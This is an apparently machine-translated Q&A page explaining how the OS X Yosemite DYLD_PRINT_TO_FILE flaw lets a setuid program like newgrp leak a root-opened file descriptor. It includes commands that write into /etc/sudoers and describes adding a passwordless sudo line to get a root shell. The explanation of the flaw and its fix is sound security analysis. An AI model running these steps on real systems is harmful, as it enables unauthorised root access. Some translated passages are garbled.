DYLD 提权漏洞如何在 OS X 上发挥作用?

信息安全 苹果系统 脆弱性
2021-08-18 04:39:00

刚刚阅读了 Stefan Esser 在 https://www.sektioneins.de/en/blog/15-07-07-dyld_print_to_file_lpe.html上报告的 DYLD 权限提升漏洞

我知道这允许任何人在文件系统中的任何位置创建或打开 root 拥有的任意文件,但我想更多地了解将文件描述符泄漏到子进程如何使这比没有时造成更大的威胁。

2个回答

分析

设置时:

DYLD_PRINT_TO_FILE=/tmp/log some_command

MacOS X 动态加载器将/tmp/log作为日志文件打开,即附加访问动态加载器中潜在的调试问题。该文件以 shell 调用上下文中的第一个空闲文件描述符打开,即 3。因此文件描述符关联为:

0   →   stdin
1   →   stdout
2   →   stderr
3   →   /tmp/log

在这种情况下,该过程some_command是分叉的。

不幸的是,动态加载器没有关闭 3. 因此,该进程some_command正在运行一个打开的文件,它从来不需要打开,也从来没有经过正常的文件系统访问控制。这可能是一个文件,some_command如果它通常试图打开它,则应该无法访问它。

例子

例如,虽然它newgrp是一个 setuid 二进制文件,但它不能写入正确保护的文件:

$newgrp
$ echo '#comment' >&3
zsh: 3: 错误的文件描述符

这个错误是正常的,分叉的 shellnewgrp没有打开文件描述符 3,因为lsof可以清楚地看到它(查看 FD 列的 3):

$ lsof -p $$
命令 PID 用户 FD 类型 设备尺寸/关闭节点名称
[...]
zsh 2405 bob 0u CHR 16,3 0t28 1405 /dev/ttys003
zsh 2405 bob 1u CHR 16,3 0t28 1405 /dev/ttys003
zsh 2405 bob 2u CHR 16,3 0t28 1405 /dev/ttys003
zsh 2405 bob 5(已撤销)
[...]

但是由于动态加载器中没有关闭3:

$ DYLD_PRINT_TO_FILE=/etc/sudoers newgrp
$ echo '#comment' >&3
$

当心:这里没有错误消息意味着echo有效。并且还lsof显示了这个漏洞(第 3w 行,这意味着文件描述符 3 以写访问权限打开):

$ lsof -p $$
命令 PID 用户 FD 类型 设备尺寸/关闭节点名称
[...]
zsh 2430 bob 0u CHR 16,3 0t1024 1405 /dev/ttys003
zsh 2430 bob 1u CHR 16,3 0t1024 1405 /dev/ttys003
zsh 2430 bob 2u CHR 16,3 0t1024 1405 /dev/ttys003
zsh 2430 bob 3w REG 1,7 1293 2034681610 /private/etc/sudoers
zsh 2430 bob 5(已撤销)
[...]

如果它不应该发生,将允许newgrp写入文件。/etc/sudoers

警告

/etc/sudoers如果您尝试此示例,即使此示例是无害的,也不要忘记清理您的事后。它的最后一行包含 now #comment

newgrp是一个 UNIX 实用程序,它使用新的组 ID 执行 shell(请参阅UNIX 规范页面)。此实用程序需要 root 权限,因为它可以将组 ID 更改为当前 shell 组列表之外的一个(例如,更改为 uid 组列表中的任何组)。因此,newgrp 是一个启动 shell 的 setuid 根应用程序。

DYLD_PRINT_TO_FILE是一个dyld(OS X 动态链接器)环境变量,它告诉 dyld 在哪里打印调试信息。在 OS X 10.10 "Yosemite" 中添加了这个特定变量。它只是众多DYLD_变量之一,便于调试共享库加载。dyldsees 时DYLD_PRINT_TO_FILE,它会打开一个连接到指定文件的新文件描述符。由于 fds 0、1、2 已经连接到 stdin、stdout 和 stderr,因此文件以 fd 3 打开。值得注意的是,由于newgrp以 root 身份启动,因此使用 root 的权限打开文件,即使newgrp后来放弃了生成 shell 的权限。

因为DYLD_环境变量可以以意想不到的方式修改程序的行为(特别是DYLD_INSERT_LIBRARIES,OS X 等效的LD_PRELOAD),所以它们通常在运行 setuid 程序之前被删除或清理。DYLD_PRINT_TO_FILE苹果在运送优胜美地时显然忘记对新产品进行消毒,从而暴露了这个特殊的缺陷。

最后,(外部)echo 命令告诉生成的子shellnewgrp执行(内部)echo 命令,该命令将字符串输出$(whoami) ALL=(ALL) NOPASSWD:ALL到 fd 3,即 now /etc/sudoers这一行告诉 sudo,任何帐户都可以通过 sudo 访问,并且使用 sudo 不需要密码。

然后子shell 退出(不再运行命令),最后一个命令sudo -s执行。由于 sudo 不再需要密码,并且所有帐户都可以使用 sudo,因此sudo -s只需立即打开一个 root shell,无需提示。


OS Xdyld实际上确实DYLD_从应用程序环境中删除了所有变量setuid,正如您pruneEnvironmentVariablesdyld.cpp. 那么为什么这个错误存在呢?答案是DYLD_PRINT_TO_FILE在清理之前处理得很好 - 事实上,它基本上是dyld启动后要做的第一件事(参见_main参考资料dyld.cpp)。因此,Apple 的修复应该非常简单:只有在环境经过适当清理后才能打开文件。